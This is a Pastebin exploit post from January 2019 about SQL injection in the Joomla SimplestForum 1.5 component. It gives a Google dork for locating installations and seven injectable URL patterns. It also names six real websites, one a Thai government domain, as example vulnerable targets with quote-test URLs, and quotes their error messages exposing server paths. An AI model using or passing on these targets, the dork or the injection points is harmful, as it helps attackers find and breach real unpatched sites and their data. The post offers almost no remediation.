Advertisement
KingSkrupellos

Joomla SimplestForum Components 1.5 SQL Injection

Jan 31st, 2019
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.47 KB | None | 0 0
  1. ####################################################################
  2.  
  3. # Exploit Title : Joomla SimplestForum Components 1.5 SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 31/01/2019
  7. # Vendor Homepage : joomlacode.org ~ simplestforum.org
  8. # Software Download Link : joomfans.com/joomla-components/simplest-forum-multilanguage-joomla-15.html
  9. # Software Information Link : joomlacode.org/gf/project/simplestforum/
  10. # Software Version : 1.5
  11. # Tested On : Windows and Linux
  12. # Category : WebApps
  13. # Exploit Risk : Medium
  14. # Google Dorks : inurl:''/index.php?option=com_simplestforum''
  15. intext:Designed by Methealth Administrators Namibia.
  16. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  17. Special Elements used in an SQL Command ('SQL Injection') ]
  18. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  19. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  20. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  21. # Reference Link : cxsecurity.com/issue/WLB-2019010297
  22. packetstormsecurity.com/files/151435/Joomla-SimplestForum-1.5-SQL-Injection.html
  23.  
  24. ####################################################################
  25.  
  26. # Description about Software :
  27. ***************************
  28. Simplest Forum Joomla! is simplest and easiest to use forum component. It
  29.  
  30. provides a super basic interface for both users and administrators while
  31.  
  32. still being useful. Simplest Forum is Joomla! 1.5's first fully native forum.
  33.  
  34. ####################################################################
  35.  
  36. # Impact :
  37. ***********
  38.  
  39. * An attacker might be able inject and/or alter existing
  40.  
  41. SQL statements which would influence the database exchange.
  42.  
  43. * SQL injection vulnerability in the Joomla SimplestForum Components 1.5 because,
  44.  
  45. it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  46.  
  47. * On the other hand, this component simplestforum for Joomla! allows
  48.  
  49. remote attackers to execute arbitrary SQL commands
  50.  
  51. via the " view= forumId= Itemid= limitstart= parentId= "
  52.  
  53. with different parameters action to index.php.
  54.  
  55. * Exploiting this issue could allow an attacker to compromise the application, read,
  56.  
  57. access or modify data, or exploit latent vulnerabilities in the underlying database.
  58.  
  59. If the webserver is misconfigured, read & write access to the filesystem may be possible.
  60.  
  61. ####################################################################
  62.  
  63. # SQL Injection Exploit :
  64. **********************
  65.  
  66. /index.php?option=com_simplestforum&view=[SQL Injection]
  67.  
  68. /index.php?option=com_simplestforum&view=postlist&forumId=[SQL Injection]
  69.  
  70. /index.php?option=com_simplestforum&view=forumlist&Itemid=[SQL Injection]
  71.  
  72. /index.php?option=com_simplestforum&view=postlist&forumId=[ID-NUMBER]&Itemid=[SQL Injection]
  73.  
  74. /index.php?option=com_simplestforum&view=postlist&forumId=[ID-NUMBER]&&limitstart=[SQL Injection]
  75.  
  76. /index.php?option=com_simplestforum&view=postlist&topic=true&forumId=[ID-NUMBER]&parentId=[SQL Injection]
  77.  
  78. /index.php?option=com_simplestforum&view=postlist&forumId=[ID-NUMBER]&parentId=[ID-NUMBER]&topic=true&Itemid=[SQL Injection]
  79.  
  80. ####################################################################
  81.  
  82. # Example Vulnerable Sites :
  83. *************************
  84.  
  85. [+] coitama.es/index.php?option=com_simplestforum&view=forumlist&Itemid=18%27
  86.  
  87. [+] healthsmartcard.com.na/index.php?option=com_simplestforum&view=postlist&forumId=1&Itemid=57%27
  88.  
  89. [+] ekszi.hu/index.php?option=com_simplestforum&view=postlist&forumId=4&Itemid=63%27
  90.  
  91. [+] ashorooq.net/index.php?option=com_simplestforum&view=postlist&forumId=22&limitstart=30%27
  92.  
  93. [+] talingchan-bpi.go.th/index.php?option=com_simplestforum&view=postlist&topic=true&forumId=1&parentId=1%27
  94.  
  95. [+] bls-pleven.org/index.php?option=com_simplestforum&view=postlist&forumId=1%27
  96.  
  97. ####################################################################
  98.  
  99. # Example SQL Database Error :
  100. ****************************
  101.  
  102. Warning: Parameter 1 to AmbitionalityHelperTree::_calculateDepth() expected
  103. to be a reference, value given in G:\healthsmartcard.com.na
  104. \components\com_simplestforum\helpers\tree.php on line 72
  105.  
  106. Fatal error: Uncaught exception 'Exception' with message
  107. 'Invalid forum supplied for verifyPermissions' in /web/ekszi/ekszi.hu/components
  108. /com_simplestforum/helpers/forum.php:110 Stack trace: #0
  109. /web/ekszi/ekszi.hu/components/com_simplestforum/models/postlist.php
  110. (158): ForumHelper->verifyPermissions('view', '4') #1
  111. /web/ekszi/ekszi.hu/components/com_simplestforum/views/postlist
  112. /view.html.php(59): SimplestForumModelPostList->getData() #2
  113. /web/ekszi/ekszi.hu/libraries/joomla/application/component/controller.php
  114. (310): SimplestForumViewPostList->display() #3 /web/ekszi/ekszi.hu
  115. /components/com_simplestforum/controller.php(41): JController->
  116. display(NULL) #4 /web/ekszi/ekszi.hu/libraries/joomla/application
  117. /component/controller.php(236): SimplestForumController->display()
  118. #5 /web/ekszi/ekszi.hu/components/com_simplestforum/simplestforum.php(31):
  119. JController->execute(NULL) #6 /web/ekszi/ekszi.hu/libraries
  120. /joomla/application/component/helper.php(162): require_once
  121. ('/web/ekszi/eksz...') #7 /web/ekszi/ekszi.hu/includes/application.php
  122. in /web/ekszi/ekszi.hu/components/com_simplestforum/helpers/forum.php on line 110
  123.  
  124. ####################################################################
  125.  
  126. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  127.  
  128. ####################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement